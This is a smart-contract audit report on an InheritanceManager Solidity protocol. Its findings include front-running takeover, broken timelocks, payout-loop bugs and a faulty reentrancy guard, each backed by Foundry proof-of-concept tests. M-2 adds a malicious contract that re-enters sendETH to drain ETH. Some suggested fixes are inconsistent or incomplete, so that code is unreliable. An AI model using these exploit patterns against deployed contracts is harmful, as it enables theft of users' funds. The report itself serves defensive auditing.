InheritanceManager Protocol Audit Report

Version 1.0

AGAMSO

March 12, 2025

InheritanceManager Protocol

AGMASO

March 12, 2025

Prepared by: [AGMASO] Lead Auditors: - Alejandro G.

Table of Contents

Disclaimer

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
```

Scope

```
src/
    InheritanceManager.sol
    NFTFactory.sol
        modules/
            Trustee.sol
```

Protocol Summary

Inheriting crypto funds in cold or hot wallets is still an issue until this day, the Inheritance Manager contract implements a time-locked inheritance management system, enabling secure distribution of assets to designated beneficiaries. It uses time-based locks to ensure that assets are only accessible after a specified period. The contract maintains a list of beneficiaries, automating the allocation of inheritance based on predefined conditions. This system offers a trustless and transparent way to manage estate planning, ensuring assets are distributed as intended without the need for intermediaries.

Inheritance Manager can also be used as a backup for your wallet.

An extra gimmick is, that the owner of this contract is able to mint NFTs representing real life assets in an extremely simple way. We are aware that these NFTs have no legal value, we just integrated them, in case the beneficiaries agree to settle claims towards those assets on-chain within the contract. The really important part for us is, that the inheritance of funds works flawless after the wallet has been inactive for more than 90 days (standard configuration).

For a more in-depth documentation please have a look at the natspec, it is very detailed.

Roles

Actors:

- `Owner`: The Owner of the smart contract wallet
- `Beneficiary`: Anyone set by the owner to inherit the smart contract and all it's balances.
- `Trustee`: Not necessary role, but can be appointed by the beneficiearies in case underlaying estate values of the NFTs need to be reevaluated and/or the payout asset has to be changed.

Executive Summary

Issues Found

Severity	Number of issues found
High	6
Medium	2
Low	0
Info	0
Gas	0
Total	8

High

[H-1] Front-Running Attack in `InheritanceManager::inherit` Leading to Complete Loss of Ownership and Funds

Description:

The function `InheritanceManager::inherit` allows anyone to call it. If there is only one beneficiary, `msg.sender` automatically becomes the owner without verification.

This makes the function vulnerable to a front-running attack where a malicious user (or an MEV bot) detects that the deadline has passed and front-runs the legitimate beneficiary's transaction. By paying a higher gas fee, the attacker ensures that their transaction executes first, thereby taking full control of the contract.

Since ownership provides complete control over the smart contract, the attacker can steal all funds by transferring them to their own wallet.

```

function inherit() external {
        if (block.timestamp < getDeadline()) {
            revert InactivityPeriodNotLongEnough();
        }
        if (beneficiaries.length == 1) {
            owner = msg.sender;
            _setDeadline();
        } else if (beneficiaries.length > 1) {
            isInherited = true;
        } else {
            revert InvalidBeneficiaries();
        }
    }
```

Impact:

The Impact is high because the attacker becomes the new owner and can withdraw all assets. Likelihood is High, the attack can be performed whenever the contract has only one beneficiary and the deadline has passed.

Proof of Concept:

PoC

```

function test_audit_FrontRunning_of_Inherited() public {
        vm.deal(address(im), 10e18);
        vm.startPrank(owner);
        uint256 deadLine = im.getDeadline();
        console.log(deadLine);

        im.addBeneficiery(address(owner));
        uint256 deadLine2 = im.getDeadline();
        console.log(deadLine2);
        vm.warp(deadLine2 + 90 days);
        vm.stopPrank();
        vm.startPrank(user1);
        im.inherit();
        console.log(im.getOwner());
        im.sendETH(address(im).balance, address(user1));
        console.log(
            "This is the final balance of the User1: ",
            address(user1).balance
        );
        vm.stopPrank();
    }
```

Recommended Mitigation:

To mitigate this issue we can add a check to only allow the only beneficiary inside the array to claim the ownership of the contract.

```

 function inherit() external {
        if (block.timestamp < getDeadline()) {
            revert InactivityPeriodNotLongEnough();
        }
-        if (beneficiaries.length == 1) {
+        if (beneficiaries.length == 1 && msg.sender == beneficiaries
    [0]) {
            owner = msg.sender;
            _setDeadline();
        } else if (beneficiaries.length > 1) {
            isInherited = true;
        } else {
            revert InvalidBeneficiaries();
        }
    }
```

[H-2] Some Core Functions Do Not Call InheritanceManager::_setDeadline(), Breaking a Main Invariant and Allowing Premature Execution of inherit()

Description:

Some functions do not call _setDeadline() when they should. This breaks a core assumption of the protocol:

"EVERY transaction the owner makes with this contract must reset the 90-day timer."

If an owner interacts with the contract using these specific functions, the deadline does not reset. This could lead to a scenario where the inherit() function is called prematurely, even though the owner was recently active.

```

function contractInteractions(
        address _target,
        bytes calldata _payload,
        uint256 _value,
        bool _storeTarget
    ) external nonReentrant onlyOwner {
        (bool success, bytes memory data) = _target.call{value: _value
           }(
            _payload
        );
        require(success, "interaction failed");
        if (_storeTarget) {
            interactions[_target] = data;
        }
    }

function removeBeneficiary(address _beneficiary) external onlyOwner {
        uint256 indexToRemove = _getBeneficiaryIndex(_beneficiary);
        delete beneficiaries[indexToRemove];
    }

function createEstateNFT(
        string memory _description,
        uint256 _value,
        address _asset
    ) external onlyOwner {
        uint256 nftID = nft.createEstate(_description);
        nftValue[nftID] = _value;
        assetToPay = _asset;
    }
```

Impact:

The likelihood will be high as If the owner only interacts via these functions, the deadline does not reset.

The imapct is high as it will lead to Premature inheritance execution breaking the main Invariant and the porpuse of the protocol. It could lead to an unexpected loose of the ownership of the contract,

Proof of Concept:

PoC

```

function test_audit_BreakInvariant_No_setDeadline() public {
        vm.deal(address(im), 10e18);
        vm.startPrank(owner);
        uint256 deadLine = im.getDeadline();
        console.log(deadLine);

        im.addBeneficiery(address(owner));
        im.addBeneficiery(address(user1));
        im.addBeneficiery(address(user2));

        uint256 deadLine2 = im.getDeadline();
        console.log(deadLine2);
        vm.warp(deadLine2 + 90 days);
        // we have passed the timelock but if we call a method where
            the owner interact with
        // the SmartContract it shoud restart the timeLock
        bytes memory call = abi.encodeWithSignature(
            "createEstate(string)",
            "pepe"
        );
        im.contractInteractions(address(nft), call, 0, false);
        uint256 deadLine3 = im.getDeadline();
        console.log(deadLine3);
        vm.stopPrank();
        vm.startPrank(user1);
        im.inherit();

        console.log("IsInherited is now:  ", im.getIsInherited());
        vm.stopPrank();
    }
```

Recommended Mitigation:

To avoid this issue, you need to include `InheritanceManager::_setDeadline()` to every method where the owner interacts with the contract.

```

function contractInteractions(
        address _target,
        bytes calldata _payload,
        uint256 _value,
        bool _storeTarget
    ) external nonReentrant onlyOwner {
        (bool success, bytes memory data) = _target.call{value: _value
            }(
            _payload
        );
        require(success, "interaction failed");
        if (_storeTarget) {
            interactions[_target] = data;
        }
+         _setDeadline();
    }

function removeBeneficiary(address _beneficiary) external onlyOwner {
        uint256 indexToRemove = _getBeneficiaryIndex(_beneficiary);
        delete beneficiaries[indexToRemove];
+         _setDeadline();
    }

```

```
function createEstateNFT(
        string memory _description,
        uint256 _value,
        address _asset
    ) external onlyOwner {
        uint256 nftID = nft.createEstate(_description);
        nftValue[nftID] = _value;
        assetToPay = _asset;
+         _setDeadline();
    }
```

[H-3] Return Statement in Loop Stops Fund Distribution leading to break a main Invariant of the protocol.

Description:

The function buyOutEstateNFT() includes a return statement inside a for loop, which causes an early exit when the sender is the first beneficiary in the array. This breaks the distribution logic, as it prevents the remaining beneficiaries from receiving their share of the funds.

It breaks the invariant of the protocol: The above calculation is equally distributed between the other beneficiaries.

```

function buyOutEstateNFT(
        uint256 _nftID
    ) external onlyBeneficiaryWithIsInherited {
        uint256 value = nftValue[_nftID];
        uint256 divisor = beneficiaries.length;
        uint256 multiplier = beneficiaries.length - 1;
        // @audit-MEdium: losing precision. always need to multiply
           before divide in solidity.
        uint256 finalAmount = (value / divisor) * multiplier;
        IERC20(assetToPay).safeTransferFrom(
            msg.sender,
            address(this),
            finalAmount
        );
        for (uint256 i = 0; i < beneficiaries.length; i++) {
            if (msg.sender == beneficiaries[i]) {
@>              return;
            } else {
                IERC20(assetToPay).safeTransfer(
                    beneficiaries[i],
                    finalAmount / divisor
                );
            }
        }
        nft.burnEstate(_nftID);
    }
```

Impact:

Likelihood: High – If the sender is the first beneficiary, no other beneficiaries will receive funds.

Impact High: Funds will be Loss, Intended distribution logic is broken, meaning rightful recipients do not receive their share.

Proof of Concept:

PoC

```
    function test_audit_Return_added_to_loop() public {
        vm.deal(address(im), 10e18);
        vm.startPrank(owner);
        string memory _description = "pepe";
        uint256 _value = 1000000;
        address _asset = address(usdc);
        im.createEstateNFT(_description, _value, _asset);
        uint256 valueOfNft = im.getNftValue(1);
        console.log(valueOfNft);
        console.log(nft.ownerOf(1));

        im.addBeneficiery(address(user1));
        im.addBeneficiery(address(user2));
        im.addBeneficiery(address(user3));
        im.addBeneficiery(address(user4));

        uint256 deadLine2 = im.getDeadline();
        console.log(deadLine2);
        vm.warp(deadLine2 + 90 days);
        vm.stopPrank();

        vm.startPrank(user1);
        im.inherit();
        im.withdrawInheritedFunds(address(0));
        usdc.mint(address(user1), 10e6);
        usdc.approve(address(im), type(uint256).max);

        im.buyOutEstateNFT(1);
        vm.stopPrank();
    }
```

Recommended Mitigation:

To fix this issue, remove the return statement inside the loop and adjust the precision calculation:

```

function buyOutEstateNFT(
    uint256 _nftID
) external onlyBeneficiaryWithIsInherited {
    uint256 value = nftValue[_nftID];
    uint256 divisor = beneficiaries.length;
    uint256 multiplier = beneficiaries.length - 1;
    // FIX: Multiply before dividing to avoid precision loss
    uint256 finalAmount = (value / divisor) * multiplier;


    IERC20(assetToPay).safeTransferFrom(
        msg.sender,
        address(this),
        finalAmount
    );
    for (uint256 i = 0; i < beneficiaries.length; i++) {
-        if (msg.sender == beneficiaries[i]) {
-            return;
-        } else {
+        if (msg.sender != beneficiaries[i]) {
            IERC20(assetToPay).safeTransfer(
                beneficiaries[i],
                finalAmount / divisor
            );
        }
    }
    nft.burnEstate(_nftID);
}
```

[H-4] Miscalculation in InheritanceManager::buyOutEstateNFT Leads to Incorrect Beneficiary Distribution and Violates Protocol Invariant

Description:

The function InheritanceManager::buyOutEstateNFT() is responsible for allowing a beneficiary to buy out a Real Estate NFT by paying its total value, which is then distributed among the other beneficiaries. However, there is a miscalculation in the way funds are distributed:

The function incorrectly uses finalAmount / divisor to determine the share for each beneficiary. Instead, it should use beneficiaries.length - 1, because the buyer is not supposed to receive a share. This results in an underpayment to each beneficiary.

```

function buyOutEstateNFT(
        uint256 _nftID
    ) external onlyBeneficiaryWithIsInherited {
        uint256 value = nftValue[_nftID];
        uint256 divisor = beneficiaries.length;
        uint256 multiplier = beneficiaries.length - 1;
        // @audit-MEdium: losing precision. always need to multiply
           before divide in solidity.
        uint256 finalAmount = (value / divisor) * multiplier;
        IERC20(assetToPay).safeTransferFrom(
            msg.sender,
            address(this),
            finalAmount
        );
        for (uint256 i = 0; i < beneficiaries.length; i++) {
            if (msg.sender == beneficiaries[i]) {
                return;
            } else {
                IERC20(assetToPay).safeTransfer(
                    beneficiaries[i],
@>                    finalAmount / divisor
                );
            }
        }
        nft.burnEstate(_nftID);
    }
```

Impact:

The impact overall is High beacuse afect the lost of funds for the Beneficiaries and at the same time the likelihood of the vulnerability is High as it will always happen.

Proof of Concept:

Example:

NFT Value: $100

Number of Beneficiaries: 4

Expected Share per Beneficiary: $100 / 4 = $25 each

Current Incorrect Calculation: $100 / 4 × 3 = $75 (distributed among 3)

Actual Amount Received per Beneficiary: $75 / 4 = $18.75

This breaks the protocol's invariant that each non-buying beneficiary must receive an equal and fair share.

Poc

~~~
```javascript

 function test_audit_Return_added_to_loop() public {
    vm.deal(address(im), 10e18);
    vm.startPrank(owner);
    string memory _description = "pepe";
    uint256 _value = 1000000;
~~~

```
    address _asset = address(usdc);
    im.createEstateNFT(_description, _value, _asset);
    uint256 valueOfNft = im.getNftValue(1);
    console.log(valueOfNft);
    console.log(nft.ownerOf(1));

    im.addBeneficiery(address(user1));
    im.addBeneficiery(address(user2));
    im.addBeneficiery(address(user3));
    im.addBeneficiery(address(user4));

    uint256 deadLine2 = im.getDeadline();
    console.log(deadLine2);
    vm.warp(deadLine2 + 90 days);
    vm.stopPrank();

    vm.startPrank(user4);
    im.inherit();
    im.withdrawInheritedFunds(address(0));
    usdc.mint(address(user4), 10e6);
    usdc.approve(address(im), type(uint256).max);

    im.buyOutEstateNFT(1);
    vm.stopPrank();

}
```
```

Recommended Mitigation: To mitigate this calculation error, just divide by `beneficiaries.length - 1` and the distribution will be right

```

  function buyOutEstateNFT(
        uint256 _nftID
    ) external onlyBeneficiaryWithIsInherited {
        uint256 value = nftValue[_nftID];
        uint256 divisor = beneficiaries.length;
        uint256 multiplier = beneficiaries.length - 1;
        // @audit-MEdium: losing precision. always need to multiply
           before divide in solidity.
        uint256 finalAmount = (value / divisor) * multiplier;
        IERC20(assetToPay).safeTransferFrom(
            msg.sender,
            address(this),
            finalAmount
        );
        for (uint256 i = 0; i < beneficiaries.length; i++) {
            if (msg.sender == beneficiaries[i]) {
                return;
            } else {
                IERC20(assetToPay).safeTransfer(
```
```

```diff
                        beneficiaries[i],
-                       finalAmount / divisor
+                       finalAmount / multiplier
                    );
                }
            }
            nft.burnEstate(_nftID);
        }
```

[H-5] Incorrect `InheritanceManager::_getBeneficiaryIndex()` Implementation Allows Accidental Deletion of Slot 0 in the array, Causing Fund Loss and Potential DoS

Description:

The `_getBeneficiaryIndex()` function returns 0 when the given address is not found in the beneficiaries array. However, it also correctly returns 0 when the first beneficiary is actually present. This leads to a dangerous edge case in `InheritanceManager::removeBeneficiary()`:

If `_getBeneficiaryIndex()` returns 0 because the given address is not in the array, the function wrongly deletes the beneficiary at slot 0.

This can result in unintended loss of a valid beneficiary.

Funds Loss: If slot 0 is deleted, future fund transfers might be sent to address(0), effectively burning funds.

DoS Vulnerability: In case of ERC-20 transfers, sending to address(0) triggers an `ERC20InvalidReceiver` error, reverting the entire transaction. This means that no other beneficiaries will receive funds, causing a denial of service (DoS).

```solidity

function removeBeneficiary(address _beneficiary) external onlyOwner {
    uint256 indexToRemove = _getBeneficiaryIndex(_beneficiary);
    delete beneficiaries[indexToRemove];
}

function _getBeneficiaryIndex(address _beneficiary) public view returns
     (uint256 _index) {
    for (uint256 i = 0; i < beneficiaries.length; i++) {
        if (_beneficiary == beneficiaries[i]) {
            _index = i;
            break;
        }
    }
}
```

Impact:

High Severity

Likelihood: High – If a non-existent address is provided, the first beneficiary is always deleted.

Loss of Beneficiary: A valid beneficiary could be wrongfully removed.

Funds Loss: If slot 0 is deleted, future ETH or ERC-20 transfers may be sent to address(0), effectively burning funds.

DoS Attack: If ERC-20 transfers are attempted to address(0), the transaction will revert due to ERC20InvalidReceiver error, preventing all other beneficiaries from receiving funds.

Proof of Concept

PoC

```

function test_audit_Return_added_to_loop() public {
        vm.deal(address(im), 10e18);
        vm.startPrank(owner);
        string memory _description = "pepe";
        uint256 _value = 1000000;
        address _asset = address(usdc);
        im.createEstateNFT(_description, _value, _asset);
        uint256 valueOfNft = im.getNftValue(1);
        console.log(valueOfNft);
        console.log(nft.ownerOf(1));

        im.addBeneficiery(address(user1));
        im.addBeneficiery(address(user2));
        im.addBeneficiery(address(user3));
        im.addBeneficiery(address(user4));

        uint256 deadLine2 = im.getDeadline();
        console.log(deadLine2);
        vm.warp(deadLine2 + 90 days);

        //deleting the beneficiary in slot 0 by error
        uint256 IdBeforeRemove = im._getBeneficiaryIndex(address(user1)
            );
        console.log(
            "This should be index 0 representing user1: ",
            IdBeforeRemove
        );
        im.removeBeneficiary(address(1));

        uint256 IdAfterRemove = im._getBeneficiaryIndex(address(user1))
            ;
        console.log(
            "This should be index 0 representing emptyUser: ",
            IdAfterRemove
        );
        vm.stopPrank();

        vm.startPrank(user4);
        im.inherit();
        // we will loose funds wehn sending to no one in slot 0 or in case of ERC20 we will revert all Tx because
        // of ERC20InvalidReceiver error when sending to address(0)
        im.withdrawInheritedFunds(address(0));
        usdc.mint(address(user4), 10e6);
        usdc.approve(address(im), type(uint256).max);

        im.buyOutEstateNFT(1);
        vm.stopPrank();
    }
```

Logs: InheritanceManager::withdrawInheritedFunds(0x0000000000000000000000000000000000000000) @> [0] 0x0000000000000000000000000000000000000000::fallback{value: 2500000000000000000}() //burning funds [Stop] [0] user2::fallback{value: 2500000000000000000}() [Stop] [0] user3::fallback{value: 2500000000000000000}() [Stop] [0] user4::fallback{value: 2500000000000000000}() [Stop]

Logs: InheritanceManager::buyOutEstateNFT(1) ERC20Mock::transfer(0x000000000000000000000000000000000000000 187500 [1.875e5]) [Revert] ERC20InvalidReceiver(0x0000000000000000000000000000000000000000)

Recommended Mitigation:

To fix this issue, `_getBeneficiaryIndex()` should explicitly return an invalid index (e.g., type(uint256).max) when the address is not found. `removeBeneficiary()` should then check if the returned index is valid before deleting:

```
function removeBeneficiary(address _beneficiary) external onlyOwner {
    uint256 indexToRemove = _getBeneficiaryIndex(_beneficiary);
+    require(indexToRemove < beneficiaries.length, "Beneficiary not found");
    delete beneficiaries[indexToRemove];
}

function _getBeneficiaryIndex(address _beneficiary) public view returns (uint256 _index) {
    for (uint256 i = 0; i < beneficiaries.length; i++) {
        if (_beneficiary == beneficiaries[i]) {
            return i;
        }
    }
    return type(uint256).max; // Return an invalid index when not found
}
```

[H-6] Denial of Service (DoS) in `InheritanceManager::buyOutEstateNFT` due to NFT Creation via `InheritanceManager::contractInteractions()`

Description:

The `contractInteractions()` function allows arbitrary external contract calls, which can be used to create NFTs without properly assigning a value or asset to pay. If an NFT is created this way, it lacks a defined value and asset, leading to a permanent lock where beneficiaries try to use `InheritanceManager::buyOutEstateNFT` to adquired the NFT and they cannot, effectively causing a DoS issue.

```

function contractInteractions(
    address _target,
    bytes calldata _payload,
    uint256 _value,
    bool _storeTarget
) external nonReentrant onlyOwner {
    (bool success, bytes memory data) = _target.call{value: _value}(
        _payload);
    require(success, "interaction failed");
    if (_storeTarget) {
        interactions[_target] = data;
    }
}

function createEstate(string memory description) external
    onlyInheritanceManager returns (uint256 itemID) {
    uint256 ID = _incrementCounter();
    _mint(msg.sender, ID);
    _setTokenURI(ID, description);
    return ID;
}
```

Impact:

High Severity

Likelihood: High – The issue arises when an NFT is created via contractInteractions(), bypassing the expected value and asset assignment.

DoS Attack Vector: Since `buyOutEstateNFT()` requires a defined `value` and `asset`, the NFT remains locked forever, making it impossible for beneficiaries to purchase it.

The function `buyOutEstateNFT()` will always revert when attempting to process a payment for an NFT with no assigned asset.

Proof of Concept:

```
function test_audit_createNft_from_contractInteractions_function()
    public {
    bytes memory call = abi.encodeWithSignature(
        "createEstate(string)",
        "pepe"
    );
    vm.deal(address(im), 10e18);
    vm.startPrank(owner);
    im.contractInteractions(address(nft), call, 0, false);
    console.log(im.getNftValue(1)); //  This value will be zero
    console.log(nft.ownerOf(1));

    im.addBeneficiery(address(user1));
    im.addBeneficiery(address(user2));
    im.addBeneficiery(address(user3));
    im.addBeneficiery(address(user4));

    uint256 deadLine2 = im.getDeadline();
    console.log(deadLine2);
    vm.warp(deadLine2 + 90 days);
    vm.stopPrank();

    vm.startPrank(user2);
    im.inherit();
    usdc.mint(address(user1), 10e6);
    usdc.approve(address(im), type(uint256).max);

    im.buyOutEstateNFT(1); //  This call **will revert** due to missing
        asset
    vm.stopPrank();
}
```

Logs:

```
InheritanceManager::buyOutEstateNFT(1) 0x0000000000000000000000000000000000000000::transferFrom(user2:
[0x537C8f3d3E18dF5517a58B3fB9D9143697996802], InheritanceManager: [0x88F59F8826af5e695B13cA934d6c799987
0) [Stop] [Revert] SafeERC20FailedOperation(0x0000000000000000000000000000000000000000)
```

Recommended Mitigation:

Ensure that is not possible to create a NFT without `value` and `asset` properties through the `contractInteractions()` calling directly the NFT Factory. Or modifed the `createEstate()` function to give those properties from here.

Medium

[M-1] Missing `InheritanceManage::_setDeadline()` in Constructor Allows Premature Execution of `InheritanceManage::inherit()` and breaks a main Invariant.

Description:

The constructor of InheritanceManager does not call `_setDeadline()`, leaving deadline uninitialized (defaulting to 0). This allows anyone to pass the first check inside `inherit()`, effectively bypassing the 90-day timelock requirement.

Although it is not fully exploitable due to the necessity of having at least one beneficiary before claiming ownership, this breaks a core protocol invariant:

Invariant 2: Nobody should be able to take ownership of the contract before 90 days.

```

constructor() {
    owner = msg.sender;
    nft = new NFTFactory(address(this));
    // @audit-high: `_setDeadline()` is missing here, making `deadline`
        default to 0.
}

function inherit() external {
    if (block.timestamp < getDeadline()) {
        revert InactivityPeriodNotLongEnough(); //This check is
            bypassed if `deadline == 0`
    }
    if (beneficiaries.length == 1) {
        owner = msg.sender;
        _setDeadline();
    } else if (beneficiaries.length > 1) {
        isInherited = true;
    } else {
        revert InvalidBeneficiaries();
    }
}
```

Impact:

Medium Severity

Likelihood: Moderate – While full exploitation is not possible due to missing beneficiaries, the timelock mechanism is effectively broken.

Breaks a Key Security Assumption: The contract should not allow premature execution of `inherit()`.

Proof of Concept:

PoC

```


    function
        test_audit_CheckInitialLockTimeAndCheckInitialBeneficiaries()
         public
    {
        uint256 deadLine = im.getDeadline();

        console.log(deadLine);
        vm.startPrank(user1);
        im.inherit();
    }
```

logs: InheritanceManager::inherit() [Revert] InvalidBeneficiaries()

Meaning we pass the first check

```
if (block.timestamp < getDeadline()) {
        revert InactivityPeriodNotLongEnough(); //This check is
            bypassed if `deadline == 0`
    }
```

Recommended Mitigation:

To ensure that the contract enforces the 90-day timelock, _setDeadline(); should be called inside the constructor.

```

constructor() {
    owner = msg.sender;
    nft = new NFTFactory(address(this));
+   _setDeadline();
}
```

[M-2] Incorrect Implementation code in `nonReentrant` Modifier Opens Doors to all kind of Reentrancy Attacks.

Description:

The `nonReentrant` modifier is implemented incorrectly by checking slot 1 instead of slot 0 in transient storage. This allows reentrancy attacks since the storage slot used for locking is not the expected one.

Although the impact is mitigated in the current implementation by always combining `nonReentrant` with `onlyOwner`, this introduces a major security risk if the modifier is later applied to functions that do not require ownership.

```
modifier nonReentrant() {
    assembly {
        if tload(1) {  //  Incorrect slot check
            revert(0, 0)
        }
        tstore(0, 1)
    }
    _;
    assembly {
        tstore(0, 0)
    }
}
```

Impact:

Medium Severity

Likelihood: High – If this modifier is applied to any function that lacks onlyOwner, reentrancy attacks become possible.

Potential Consequences: Attacker-controlled contracts could exploit functions using this incorrect `nonReentrant` implementation, leading to loss of funds or unintended behavior.

Proof of Concept:

The attacker can re-enter the function before it finishes execution, manipulating contract state.

```

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {InheritanceManager} from "../InheritanceManager.sol";

contract Malicious1 {
    InheritanceManager inheritance;

    constructor(address _inheritance) {
        inheritance = InheritanceManager(_inheritance);
    }

    receive() external payable {
        if (address(inheritance).balance > 0) {
            uint256 amount = address(inheritance).balance;
            inheritance.sendETH(amount, address(this));
        }
    }
}

```

```

//Not working because of the ownerModifier
    function test_audit_ReentrancyBySendingEth() public {
        vm.deal(address(im), 10e18);
        vm.startPrank(owner);
        im.sendETH(1e18, address(mal));
        assertEq(address(im).balance, 0);
        assertEq(address(mal).balance, 10e18);
        vm.stopPrank();
    }
```

We can see we ae reentering the Fn thanks to the vulnerability in `nonReentrant` modifier but we revert because of `onlyOwner`.

Logs: [29144] InheritanceManagerTest::test_audit_ReentrancyBySendingEth()

```
 InheritanceManager::sendETH(1000000000000000000 [1e18], Malicious1: [0
     xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
 [4640] Malicious1::receive{value: 1000000000000000000}()
 [1310] InheritanceManager::sendETH(9000000000000000000 [9e18],
     Malicious1: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
 [Revert] NotOwner(0xF62849F9A0B5Bf2913b396098F7c7019b51A820a)
```

Recommended Mitigation:

To properly implement reentrancy protection, the modifier must use the correct transient storage slot (0):

```
modifier nonReentrant() {
    assembly {
-          if tload(1) {
+          if tload(0) {
                revert(0, 0)
            }
            tstore(0, 1)
        }
        _;
        assembly {
            tstore(0, 0)
        }
}
```

Low